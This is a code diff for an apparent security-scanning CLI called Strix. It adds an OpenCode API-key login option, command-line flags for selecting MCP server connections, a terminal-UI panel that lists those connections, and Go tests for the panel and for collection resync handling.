# flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what the
|
||||
# command and messaging say. ``codex`` is accepted as an alias.
|
||||
# CLI-facing name for the default login provider. Internally this is the Codex
|
||||
# OAuth flow (``codex.PROVIDER``), but users know it as ChatGPT, so that's what
|
||||
# the command and messaging say. ``codex`` is accepted as an alias.
|
||||
LOGIN_PROVIDER = "chatgpt"
|
||||
_ACCEPTED_PROVIDERS = frozenset({LOGIN_PROVIDER, codex.PROVIDER})
|
||||
_OPENCODE_PROVIDERS = frozenset({opencode.PROVIDER, "opencode-go", "zen"})
|
||||
|
||||
_USAGE = "Usage:\n strix auth login chatgpt [--manual]\n strix auth status\n strix auth logout"
|
||||
_USAGE = (
|
||||
"Usage:\n"
|
||||
" strix auth login chatgpt [--manual]\n"
|
||||
" strix auth login opencode\n"
|
||||
" strix auth status\n"
|
||||
" strix auth logout [chatgpt|opencode]"
|
||||
)
|
||||
|
||||
|
||||
def run_auth(argv: list[str]) -> int:
|
||||
@@ -55,7 +63,7 @@ def run_auth(argv: list[str]) -> int:
|
||||
handlers: dict[str, Callable[[], int]] = {
|
||||
"login": lambda: _login(console, rest),
|
||||
"status": lambda: _status(console),
|
||||
"logout": lambda: _logout(console),
|
||||
"logout": lambda: _logout(console, rest),
|
||||
}
|
||||
handler = handlers.get(subcommand)
|
||||
if handler is not None:
|
||||
@@ -84,10 +92,14 @@ def _login(console: Console, argv: list[str]) -> int:
|
||||
except SystemExit as exc: # argparse already printed the message
|
||||
return int(exc.code or 2)
|
||||
|
||||
if args.provider.lower() in _OPENCODE_PROVIDERS:
|
||||
return _login_opencode(console)
|
||||
|
||||
if args.provider.lower() not in _ACCEPTED_PROVIDERS:
|
||||
console.print(
|
||||
f"[red]Unsupported provider:[/] {args.provider}. "
|
||||
f"Only '{LOGIN_PROVIDER}' (ChatGPT subscription) is supported."
|
||||
f"Supported: '{LOGIN_PROVIDER}' (ChatGPT subscription) and "
|
||||
f"'{opencode.PROVIDER}' (OpenCode Zen/Go)."
|
||||
)
|
||||
return 2
|
||||
|
||||
@@ -115,6 +127,63 @@ def _login(console: Console, argv: list[str]) -> int:
|
||||
return 0
|
||||
|
||||
|
||||
def _login_opencode(console: Console) -> int:
|
||||
console.print()
|
||||
console.print("[bold]Signing in with OpenCode[/] [dim](provider: opencode)[/]")
|
||||
console.print(
|
||||
"[dim]This uses your OpenCode Zen credits or Go subscription for inference.\n"
|
||||
f"Get your API key at {opencode.AUTH_CONSOLE_URL}[/]"
|
||||
)
|
||||
console.print()
|
||||
try:
|
||||
key = console.input("Paste your OpenCode API key: ", password=True).strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
console.print("\n[yellow]Sign-in cancelled.[/]")
|
||||
return 130
|
||||
if not key:
|
||||
console.print("[red]No API key provided.[/]")
|
||||
return 2
|
||||
try:
|
||||
opencode.validate_api_key(key)
|
||||
except opencode.OpencodeAuthError as exc:
|
||||
console.print(f"[red]SIGN-IN FAILED:[/] {exc}")
|
||||
return 1
|
||||
opencode.save_api_key(key)
|
||||
_print_opencode_success(console)
|
||||
return 0
|
||||
|
||||
|
||||
def _print_opencode_success(console: Console) -> None:
|
||||
text = Text()
|
||||
text.append("Signed in with your OpenCode account", style="bold #22c55e")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Set ", style="white")
|
||||
text.append("STRIX_LLM", style="bold white")
|
||||
text.append(" to an ", style="white")
|
||||
text.append("opencode/", style="bold cyan")
|
||||
text.append(" model (e.g. ", style="white")
|
||||
text.append("opencode/claude-sonnet-5", style="bold cyan")
|
||||
text.append(") to run on Zen credits, or ", style="white")
|
||||
text.append("opencode-go/", style="bold cyan")
|
||||
text.append(" (e.g. ", style="white")
|
||||
text.append("opencode-go/kimi-k3", style="bold cyan")
|
||||
text.append(") to run on the Go subscription.", style="white")
|
||||
text.append("\n\n", style="white")
|
||||
text.append("Run a scan as usual, e.g. ", style="white")
|
||||
text.append("strix --target https://example.com", style="bold cyan")
|
||||
console.print()
|
||||
console.print(
|
||||
Panel(
|
||||
text,
|
||||
title="[bold white]STRIX",
|
||||
title_align="left",
|
||||
border_style="#22c55e",
|
||||
padding=(1, 2),
|
||||
)
|
||||
)
|
||||
console.print()
|
||||
|
||||
|
||||
def _run_oauth_flow(
|
||||
console: Console,
|
||||
authorize_url: str,
|
||||
@@ -244,24 +313,41 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
|
||||
|
||||
def _status(console: Console) -> int:
|
||||
record = codex.read_record()
|
||||
if record is None:
|
||||
console.print("[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] to sign in.")
|
||||
opencode_signed_in = opencode.is_authenticated()
|
||||
if record is None and not opencode_signed_in:
|
||||
console.print(
|
||||
"[yellow]Not signed in.[/] Run [cyan]strix auth login chatgpt[/] or "
|
||||
"[cyan]strix auth login opencode[/] to sign in."
|
||||
)
|
||||
return 1
|
||||
settings = load_settings()
|
||||
console.print("[green]Signed in[/] with a ChatGPT subscription.")
|
||||
console.print(f" Account: [bold]{record.get('account_id')}[/]")
|
||||
if codex.subscription_model(settings.llm.model):
|
||||
if record is not None:
|
||||
console.print("[green]Signed in[/] with a ChatGPT subscription.")
|
||||
console.print(f" Account: [bold]{record.get('account_id')}[/]")
|
||||
if opencode_signed_in:
|
||||
console.print("[green]Signed in[/] with an OpenCode account.")
|
||||
if codex.subscription_model(settings.llm.model) or opencode.subscription_model(
|
||||
settings.llm.model
|
||||
):
|
||||
console.print(f" Runs use the subscription (STRIX_LLM=[bold]{settings.llm.model}[/]).")
|
||||
else:
|
||||
console.print(
|
||||
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] "
|
||||
"to run on the subscription."
|
||||
" [yellow]Note:[/] set [cyan]STRIX_LLM[/] to e.g. [cyan]chatgpt/gpt-5.4[/] or "
|
||||
"[cyan]opencode/claude-sonnet-5[/] to run on a subscription."
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
def _logout(console: Console) -> int:
|
||||
codex.logout()
|
||||
def _logout(console: Console, argv: list[str] | None = None) -> int:
|
||||
target = (argv[0].lower() if argv else "") or "all"
|
||||
if target in _ACCEPTED_PROVIDERS or target == "all":
|
||||
codex.logout()
|
||||
if target in _OPENCODE_PROVIDERS or target == "all":
|
||||
opencode.logout()
|
||||
if target != "all" and target not in _ACCEPTED_PROVIDERS | _OPENCODE_PROVIDERS:
|
||||
console.print(f"[red]Unknown provider:[/] {target}\n")
|
||||
console.print(_USAGE)
|
||||
return 2
|
||||
console.print("[green]Signed out.[/] Stored subscription credentials removed.")
|
||||
return 0
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
@@ -219,6 +220,30 @@ Examples:
|
||||
help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--mcp-config",
|
||||
type=str,
|
||||
metavar="PATH",
|
||||
help="Path to an MCP servers JSON file to use instead of ~/.strix/mcp-servers.json.",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--mcp-server",
|
||||
dest="mcp_server",
|
||||
action="append",
|
||||
metavar="NAME",
|
||||
help="Use only this MCP connection for the run, by its config name "
|
||||
"(repeatable). Every other configured connection is skipped.",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--mcp-exclude",
|
||||
dest="mcp_exclude",
|
||||
action="append",
|
||||
metavar="NAME",
|
||||
help="Skip this MCP connection for the run, by its config name (repeatable).",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--max-budget",
|
||||
"--max-budget-usd",
|
||||
@@ -267,6 +292,20 @@ Examples:
|
||||
if args.config:
|
||||
apply_config_override(validate_config_file(args.config))
|
||||
|
||||
if args.mcp_config:
|
||||
mcp_config_path = Path(args.mcp_config).expanduser()
|
||||
if not mcp_config_path.is_file():
|
||||
parser.error(f"--mcp-config file not found: {args.mcp_config}")
|
||||
# The MCP loader reads this env var as its config-path override, so
|
||||
# setting it here makes the flag win over the default location.
|
||||
os.environ["STRIX_MCP_CONFIG"] = str(mcp_config_path)
|
||||
|
||||
# The MCP loader reads these as its per-run include/exclude selection.
|
||||
if args.mcp_server:
|
||||
os.environ["STRIX_MCP_ONLY"] = ",".join(args.mcp_server)
|
||||
if args.mcp_exclude:
|
||||
os.environ["STRIX_MCP_EXCLUDE"] = ",".join(args.mcp_exclude)
|
||||
|
||||
if args.update:
|
||||
sys.exit(0 if self_update() else 1)
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings
|
||||
from strix.config import codex, load_settings, opencode
|
||||
from strix.interface.utils import (
|
||||
check_docker_connection,
|
||||
image_exists,
|
||||
@@ -37,6 +37,17 @@ def validate_environment() -> None:
|
||||
logger.info("Environment OK (ChatGPT subscription)")
|
||||
return
|
||||
|
||||
oc = opencode.subscription_model(settings.llm.model)
|
||||
if oc:
|
||||
if not opencode.is_authenticated():
|
||||
console.print(
|
||||
f"[red]STRIX_LLM={settings.llm.model} runs on {oc.label}, "
|
||||
"but you're not signed in.[/] Run [cyan]strix auth login opencode[/] first."
|
||||
)
|
||||
sys.exit(1)
|
||||
logger.info("Environment OK (%s)", oc.label)
|
||||
return
|
||||
|
||||
if not settings.llm.model:
|
||||
missing_required_vars.append("STRIX_LLM")
|
||||
|
||||
|
||||
@@ -6,7 +6,6 @@ Strix Agent Interface
|
||||
import argparse
|
||||
import asyncio
|
||||
import contextlib
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
@@ -14,7 +13,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings, persist_current
|
||||
from strix.config import codex, load_settings, opencode, persist_current
|
||||
from strix.core.paths import run_dir_for
|
||||
from strix.interface.cli_args import parse_arguments
|
||||
from strix.interface.environment import (
|
||||
@@ -36,6 +35,7 @@ from strix.interface.update_check import (
|
||||
is_binary_install,
|
||||
notify_update,
|
||||
prompt_update_if_available,
|
||||
restart_after_update,
|
||||
start_background_check,
|
||||
)
|
||||
from strix.interface.utils import (
|
||||
@@ -104,8 +104,14 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
|
||||
|
||||
|
||||
def _subscription_error_hint(exc: BaseException) -> str | None:
|
||||
"""Return an actionable hint for a known ChatGPT-subscription error, or None."""
|
||||
if not codex.subscription_model(load_settings().llm.model):
|
||||
"""Return an actionable hint for a known subscription error, or None."""
|
||||
model = load_settings().llm.model
|
||||
if opencode.subscription_model(model):
|
||||
joined = " ".join(_exception_messages(exc)).lower()
|
||||
if "error code: 401" in joined or "http 401" in joined or "unauthorized" in joined:
|
||||
return "Your OpenCode API key was rejected. Sign in again:\n strix auth login opencode"
|
||||
return None
|
||||
if not codex.subscription_model(model):
|
||||
return None
|
||||
joined = " ".join(_exception_messages(exc)).lower()
|
||||
if "not supported when using codex with a chatgpt account" in joined:
|
||||
@@ -127,12 +133,10 @@ def _subscription_error_hint(exc: BaseException) -> str | None:
|
||||
|
||||
|
||||
async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import ModelTracing
|
||||
|
||||
from strix.config.models import (
|
||||
RECOMMENDED_MODEL_NAMES,
|
||||
StrixProvider,
|
||||
configure_sdk_model_defaults,
|
||||
is_known_openai_bare_model,
|
||||
is_recommended_or_frontier_model,
|
||||
@@ -209,12 +213,11 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
logger.info("LLM warm-up succeeded for model %s", (llm.model or "").strip())
|
||||
|
||||
if settings.dedupe.model:
|
||||
from strix.report.dedupe import _dedupe_extra_args
|
||||
from strix.report.dedupe import resolve_dedupe_model
|
||||
|
||||
dedupe_model = settings.dedupe.model.strip()
|
||||
raw_model = dedupe_model
|
||||
deduper = StrixProvider().get_model(dedupe_model)
|
||||
deduper_extra = _dedupe_extra_args(settings.dedupe)
|
||||
deduper = resolve_dedupe_model(settings.dedupe, dedupe_model)
|
||||
# A dedicated dedupe model may route to another provider, which must
|
||||
# never receive the main endpoint's headers; it has its own
|
||||
# DEDUPE_LLM_EXTRA_HEADERS.
|
||||
@@ -226,9 +229,6 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
extra_headers=settings.dedupe.extra_headers,
|
||||
has_tools=False,
|
||||
)
|
||||
if deduper_extra:
|
||||
merged = {**(deduper_settings.extra_args or {}), **deduper_extra}
|
||||
deduper_settings = deduper_settings.resolve(ModelSettings(extra_args=merged))
|
||||
await asyncio.wait_for(
|
||||
deduper.get_response(
|
||||
system_instructions="You are a helpful assistant.",
|
||||
@@ -440,7 +440,7 @@ def main() -> None:
|
||||
start_background_check()
|
||||
if not args.non_interactive and prompt_update_if_available(Console()):
|
||||
if is_binary_install() and sys.platform != "win32":
|
||||
os.execv(sys.executable, sys.argv) # noqa: S606 # nosec B606
|
||||
restart_after_update()
|
||||
sys.exit(0)
|
||||
|
||||
check_docker_installed()
|
||||
|
||||
@@ -14,7 +14,7 @@ import logging
|
||||
from datetime import UTC, datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from strix.config import Settings, codex, load_settings
|
||||
from strix.config import Settings, load_settings, opencode
|
||||
from strix.core.paths import run_dir_for
|
||||
from strix.interface.utils import (
|
||||
assign_workspace_subdirs,
|
||||
@@ -226,7 +226,7 @@ def telemetry_start(args: argparse.Namespace) -> None:
|
||||
model = load_settings().llm.model
|
||||
kwargs = {
|
||||
"model": model,
|
||||
"auth_mode": codex.auth_mode(model),
|
||||
"auth_mode": opencode.auth_mode(model),
|
||||
"scan_mode": args.scan_mode,
|
||||
"is_whitebox": is_whitebox_scan(args.targets_info),
|
||||
"interactive": not args.non_interactive,
|
||||
@@ -247,7 +247,8 @@ def _persist_run_record(args: argparse.Namespace) -> None:
|
||||
"status": "running",
|
||||
"start_time": datetime.now(UTC).isoformat(),
|
||||
"end_time": None,
|
||||
"auth_mode": codex.auth_mode(load_settings().llm.model),
|
||||
"auth_mode": opencode.auth_mode(load_settings().llm.model),
|
||||
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
|
||||
"targets_info": args.targets_info,
|
||||
"scan_mode": args.scan_mode,
|
||||
"instruction": args.instruction,
|
||||
|
||||
@@ -24,7 +24,7 @@ from strix.interface.tui.backend.projection import (
|
||||
sanitize_terminal_text,
|
||||
terminal_projection,
|
||||
)
|
||||
from strix.interface.utils import is_subscription_run
|
||||
from strix.interface.utils import is_subscription_run, subscription_label
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -103,6 +103,11 @@ class TuiController:
|
||||
self.messages: list[dict[str, str]] = []
|
||||
self._next_message_id = 1
|
||||
self.error: str | None = None
|
||||
# The run's MCP connection roster (name / tool_count / dead), pushed by
|
||||
# the engine via the mcp_status_sink once the connections are established
|
||||
# and again each time one dies. Empty for a run with no MCP connections,
|
||||
# so the Go sidebar simply omits the panel. Non-secret by construction.
|
||||
self.mcp_connections: list[dict[str, Any]] = []
|
||||
self.viewer_status = "idle"
|
||||
self.viewer_url: str | None = None
|
||||
self._viewer_httpd: Any = None
|
||||
@@ -128,6 +133,24 @@ class TuiController:
|
||||
if scan_loop is not None:
|
||||
self.scan_loop = scan_loop
|
||||
|
||||
def set_mcp_connections(self, roster: list[dict[str, Any]]) -> None:
|
||||
"""Store the run's MCP connection roster and repaint.
|
||||
|
||||
``roster`` is the engine's non-secret status snapshot: one entry per
|
||||
connection carrying ``name``, ``tool_count``, and ``dead``. Called once
|
||||
when the connections are established (all healthy) and again whenever a
|
||||
connection dies (the same whole-roster snapshot, with that one now dead)."""
|
||||
self.mcp_connections = [
|
||||
{
|
||||
"name": str(entry.get("name", "")),
|
||||
"tool_count": int(entry.get("tool_count", 0) or 0),
|
||||
"dead": bool(entry.get("dead", False)),
|
||||
}
|
||||
for entry in roster
|
||||
if isinstance(entry, dict) and entry.get("name")
|
||||
]
|
||||
self.notify_changed()
|
||||
|
||||
def begin_preparation(self) -> None:
|
||||
"""Mark a directly-launched run as preparing behind the live TUI."""
|
||||
self.scan_state = "preparing"
|
||||
@@ -164,6 +187,10 @@ class TuiController:
|
||||
subscription = False
|
||||
with contextlib.suppress(Exception):
|
||||
subscription = is_subscription_run(self.report_state)
|
||||
label = ""
|
||||
if subscription:
|
||||
with contextlib.suppress(Exception):
|
||||
label = subscription_label()
|
||||
model_warning = ""
|
||||
if model and not is_recommended_or_frontier_model(model):
|
||||
model_warning = (
|
||||
@@ -200,6 +227,15 @@ class TuiController:
|
||||
],
|
||||
"usage": terminal_projection(usage, max_string=256, max_items=20),
|
||||
"subscription": subscription,
|
||||
"subscription_label": label,
|
||||
"connections": [
|
||||
{
|
||||
"name": terminal_projection(entry["name"], max_string=64),
|
||||
"tool_count": entry["tool_count"],
|
||||
"dead": entry["dead"],
|
||||
}
|
||||
for entry in self.mcp_connections[:32]
|
||||
],
|
||||
"viewer_status": self.viewer_status,
|
||||
"viewer_url": terminal_projection(self.viewer_url, max_string=1024),
|
||||
"error": terminal_projection(self.error, max_string=2 * 1024),
|
||||
@@ -380,6 +416,7 @@ class TuiController:
|
||||
delivered = await asyncio.wrap_future(future)
|
||||
if not delivered:
|
||||
raise RuntimeError("Message could not be delivered")
|
||||
self.live_view.upsert_agent(agent_id, status="waiting", error_message=None)
|
||||
return {"sent": True}
|
||||
|
||||
async def _stop_agent(self, payload: dict[str, Any]) -> dict[str, Any]:
|
||||
|
||||
@@ -60,6 +60,9 @@ class TuiLiveView(BaseLiveView):
|
||||
if error_message and current.get("error_message") != error_message:
|
||||
current["error_message"] = error_message
|
||||
changed = True
|
||||
elif error_message is None and "error_message" in current:
|
||||
current.pop("error_message", None)
|
||||
changed = True
|
||||
if changed:
|
||||
current["updated_at"] = now
|
||||
return changed
|
||||
|
||||
@@ -164,19 +164,21 @@ def bounded_state_projection(state: dict[str, Any]) -> dict[str, Any]:
|
||||
"scan_state": state["scan_state"],
|
||||
"targets": state["targets"][:4],
|
||||
"target_count": state["target_count"],
|
||||
"working_dir": terminal_projection(state.get("working_dir", ""), max_string=256),
|
||||
"pending_mount": terminal_projection(state.get("pending_mount", ""), max_string=256),
|
||||
"instruction": terminal_projection(state["instruction"], max_string=128),
|
||||
"scan_mode": state["scan_mode"],
|
||||
"max_budget_usd": state["max_budget_usd"],
|
||||
"max_turns": state["max_turns"],
|
||||
"scope_mode": state["scope_mode"],
|
||||
"diff_base": state["diff_base"],
|
||||
"provider": state["provider"],
|
||||
"model": state["model"],
|
||||
"model_warning": "",
|
||||
"caido_url": None,
|
||||
"messages": [],
|
||||
"usage": state["usage"],
|
||||
"subscription": state["subscription"],
|
||||
"connections": state.get("connections", [])[:32],
|
||||
"viewer_status": state["viewer_status"],
|
||||
"viewer_url": None,
|
||||
"error": terminal_projection(state["error"], max_string=256),
|
||||
|
||||
@@ -209,7 +209,7 @@ func (m *Model) ensureAgentVisible() {
|
||||
m.agentOffset = 0
|
||||
return
|
||||
}
|
||||
_, _, agentHeight := m.sidebarHeights()
|
||||
_, _, _, agentHeight := m.sidebarHeights()
|
||||
rows := max(1, agentHeight-4)
|
||||
row := selectedAgentRow(entries, m.selectedAgent)
|
||||
if row < m.agentOffset {
|
||||
@@ -221,7 +221,7 @@ func (m *Model) ensureAgentVisible() {
|
||||
}
|
||||
|
||||
func (m Model) agentPageSize() int {
|
||||
_, _, agentHeight := m.sidebarHeights()
|
||||
_, _, _, agentHeight := m.sidebarHeights()
|
||||
return max(1, agentHeight-4)
|
||||
}
|
||||
|
||||
|
||||
105
strix/interface/tui/internal/app/mcp_test.go
Normal file
105
strix/interface/tui/internal/app/mcp_test.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"github.com/usestrix/strix/tui/internal/protocol"
|
||||
)
|
||||
|
||||
func mcpModel(t *testing.T) Model {
|
||||
t.Helper()
|
||||
m := New(nil)
|
||||
m.width, m.height = 130, 40
|
||||
m.showSplash = false
|
||||
m.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{
|
||||
ScanState: "running",
|
||||
Connections: []protocol.Connection{
|
||||
{Name: "supabase", ToolCount: 3, Dead: false},
|
||||
{Name: "vercel", ToolCount: 1, Dead: true},
|
||||
},
|
||||
}))
|
||||
return m
|
||||
}
|
||||
|
||||
func TestMcpPanelShowsHealthyAndOffline(t *testing.T) {
|
||||
m := mcpModel(t)
|
||||
out := ansi.Strip(m.mcpConnectionsView(40, 6))
|
||||
for _, want := range []string{"MCP Connections (2)", "supabase", "3 tools", "vercel", "offline"} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Fatalf("panel missing %q:\n%s", want, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A roster longer than the panel height shows a window of rows rather than every
|
||||
// connection, while the header keeps the full count.
|
||||
func TestMcpPanelWindowsLargeRosterAndCountsAll(t *testing.T) {
|
||||
m := New(nil)
|
||||
m.width, m.height = 130, 40
|
||||
m.showSplash = false
|
||||
conns := make([]protocol.Connection, 0, 12)
|
||||
for i := 0; i < 12; i++ {
|
||||
conns = append(conns, protocol.Connection{Name: fmt.Sprintf("conn-%02d", i), ToolCount: 2})
|
||||
}
|
||||
m.snapshot.Connections = conns
|
||||
|
||||
// rows = 6 → one header line + five roster rows.
|
||||
out := ansi.Strip(m.mcpConnectionsView(40, 6))
|
||||
if !strings.Contains(out, "MCP Connections (12)") {
|
||||
t.Fatalf("header did not carry the full connection count:\n%s", out)
|
||||
}
|
||||
if !strings.Contains(out, "conn-00") {
|
||||
t.Fatalf("top of the roster was not rendered:\n%s", out)
|
||||
}
|
||||
if strings.Contains(out, "conn-11") {
|
||||
t.Fatalf("a roster past the panel height should be windowed, not fully drawn:\n%s", out)
|
||||
}
|
||||
if got := strings.Count(out, "\n") + 1; got != 6 {
|
||||
t.Fatalf("panel rendered %d lines, want 6 (header + five rows)", got)
|
||||
}
|
||||
|
||||
// Scrolling the roster brings the tail into view while the header count holds.
|
||||
m.mcpOffset = 7
|
||||
scrolled := ansi.Strip(m.mcpConnectionsView(40, 6))
|
||||
if !strings.Contains(scrolled, "conn-11") || !strings.Contains(scrolled, "MCP Connections (12)") {
|
||||
t.Fatalf("scrolled window did not reveal the tail with the count intact:\n%s", scrolled)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpPanelHeightReservedFromAgentBudget(t *testing.T) {
|
||||
m := mcpModel(t)
|
||||
_, _, mcpHeight, _ := m.sidebarHeights()
|
||||
if mcpHeight <= 0 {
|
||||
t.Fatalf("connections present but no panel height was reserved: %d", mcpHeight)
|
||||
}
|
||||
|
||||
empty := New(nil)
|
||||
empty.width, empty.height = 130, 40
|
||||
empty.showSplash = false
|
||||
empty.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{ScanState: "running"}))
|
||||
if _, _, emptyHeight, _ := empty.sidebarHeights(); emptyHeight != 0 {
|
||||
t.Fatalf("no connections should leave the panel absent, got height %d", emptyHeight)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpInUseReadsRunningConnectionTaggedCalls(t *testing.T) {
|
||||
m := mcpModel(t)
|
||||
m.handleEnvelope(bootstrapEnvelope(t, "events", 1,
|
||||
protocol.Event{ID: "e1", Type: "tool", AgentID: "a1", Data: map[string]any{
|
||||
"tool_name": "call_mcp", "mcp_connection": "supabase", "status": "running",
|
||||
}},
|
||||
protocol.Event{ID: "e2", Type: "tool", AgentID: "a1", Data: map[string]any{
|
||||
"tool_name": "call_mcp", "mcp_connection": "vercel", "status": "completed",
|
||||
}},
|
||||
))
|
||||
inUse := m.mcpInUse()
|
||||
if !inUse["supabase"] {
|
||||
t.Fatalf("a running connection-tagged call should mark the connection in use")
|
||||
}
|
||||
if inUse["vercel"] {
|
||||
t.Fatalf("a completed call must not mark the connection in use")
|
||||
}
|
||||
}
|
||||
@@ -73,6 +73,7 @@ const (
|
||||
focusChat
|
||||
focusAgents
|
||||
focusVulnerabilities
|
||||
focusMcp
|
||||
)
|
||||
|
||||
type scrollbarTarget int
|
||||
@@ -82,6 +83,7 @@ const (
|
||||
scrollbarTrace
|
||||
scrollbarAgents
|
||||
scrollbarFindings
|
||||
scrollbarMcp
|
||||
)
|
||||
|
||||
type Model struct {
|
||||
@@ -109,6 +111,7 @@ type Model struct {
|
||||
selectedVuln int
|
||||
agentOffset int
|
||||
vulnOffset int
|
||||
mcpOffset int
|
||||
modalChoice int
|
||||
reportFocus string
|
||||
ready bool
|
||||
@@ -356,7 +359,9 @@ func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
m.resyncRequested[msg.collection] = false
|
||||
}
|
||||
} else if msg.command == "collection.resync" && msg.requestID != "" && msg.collection != "" {
|
||||
m.resyncRequests[msg.requestID] = msg.collection
|
||||
if m.resyncRequested[msg.collection] {
|
||||
m.resyncRequests[msg.requestID] = msg.collection
|
||||
}
|
||||
}
|
||||
case selectionCopiedMsg:
|
||||
text := "Copied to clipboard"
|
||||
|
||||
@@ -103,6 +103,21 @@ func bootstrapEnvelope(t *testing.T, collection string, revision int, items ...a
|
||||
return protocol.Envelope{Version: protocol.Version, Type: "collection_bootstrap", Payload: rawJSON(t, payload)}
|
||||
}
|
||||
|
||||
func TestStateSnapshotClearsNilError(t *testing.T) {
|
||||
model := New(nil)
|
||||
errText := "provider rejected"
|
||||
model.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{ScanState: "failed", Error: &errText}))
|
||||
if model.errorText != errText {
|
||||
t.Fatalf("error was not installed: %q", model.errorText)
|
||||
}
|
||||
|
||||
model.handleEnvelope(stateEnvelope(t, 2, protocol.Snapshot{ScanState: "running"}))
|
||||
|
||||
if model.errorText != "" {
|
||||
t.Fatalf("nil snapshot error did not clear errorText: %q", model.errorText)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackendDisconnectBecomesFatalUnlessUserIsQuitting(t *testing.T) {
|
||||
model := New(nil)
|
||||
updated, cmd := model.Update(wireErrMsg{err: fmt.Errorf("socket closed")})
|
||||
@@ -160,6 +175,27 @@ func TestCollectionBootstrapChunksAndVersionedDelta(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentCollectionDeltaClearsErrorMessage(t *testing.T) {
|
||||
model := New(nil)
|
||||
failed := protocol.Agent{ID: "root", Name: "Strix", Status: "failed", ErrorMessage: "provider rejected"}
|
||||
model.handleEnvelope(bootstrapEnvelope(t, "agents", 1, failed))
|
||||
|
||||
resumed := protocol.Agent{ID: "root", Name: "Strix", Status: "waiting"}
|
||||
delta := protocol.CollectionDelta{
|
||||
Collection: "agents", BaseRevision: 1, Revision: 2, Cursor: 0, NextCursor: 1, Done: true,
|
||||
Operations: []protocol.CollectionOperation{{Op: "upsert", Item: rawJSON(t, resumed)}},
|
||||
}
|
||||
model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, delta)})
|
||||
|
||||
if len(model.snapshot.Agents) != 1 {
|
||||
t.Fatalf("agents were not retained: %#v", model.snapshot.Agents)
|
||||
}
|
||||
agent := model.snapshot.Agents[0]
|
||||
if agent.Status != "waiting" || agent.ErrorMessage != "" {
|
||||
t.Fatalf("agent error was not cleared: %#v", agent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectionMismatchRequestsOneResync(t *testing.T) {
|
||||
connection := &recordingConn{}
|
||||
model := New(newClient(connection))
|
||||
@@ -184,6 +220,42 @@ func TestCollectionMismatchRequestsOneResync(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFailedResyncResultBeforeSentMsgRearmsResync(t *testing.T) {
|
||||
connection := &recordingConn{}
|
||||
model := New(newClient(connection))
|
||||
model.collectionRevisions["events"] = 4
|
||||
bad := protocol.CollectionDelta{
|
||||
Collection: "events", BaseRevision: 2, Revision: 3, Cursor: 0, NextCursor: 0, Done: true,
|
||||
}
|
||||
|
||||
cmd := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)})
|
||||
if cmd == nil {
|
||||
t.Fatal("revision mismatch did not request a resync")
|
||||
}
|
||||
sent, ok := cmd().(sentMsg)
|
||||
if !ok || sent.err != nil || sent.requestID == "" {
|
||||
t.Fatalf("resync send = %#v", sent)
|
||||
}
|
||||
|
||||
failed := protocol.CommandResult{
|
||||
OK: false,
|
||||
Command: "collection.resync",
|
||||
Error: &protocol.CommandError{Code: "command_failed", Message: "resync failed"},
|
||||
}
|
||||
model.handleEnvelope(protocol.Envelope{
|
||||
Version: protocol.Version, Type: "command_result", RequestID: sent.requestID, Payload: rawJSON(t, failed),
|
||||
})
|
||||
updated, _ := model.Update(sent)
|
||||
model = updated.(Model)
|
||||
|
||||
if model.resyncRequested["events"] {
|
||||
t.Fatal("failed resync result left resync suppressed")
|
||||
}
|
||||
if retry := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)}); retry == nil {
|
||||
t.Fatal("resync was not rearmed after failure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentsCollectionPreservesSelectedIDAcrossUpsertsAndDeletes(t *testing.T) {
|
||||
model := New(nil)
|
||||
model.handleEnvelope(bootstrapEnvelope(t, "agents", 1,
|
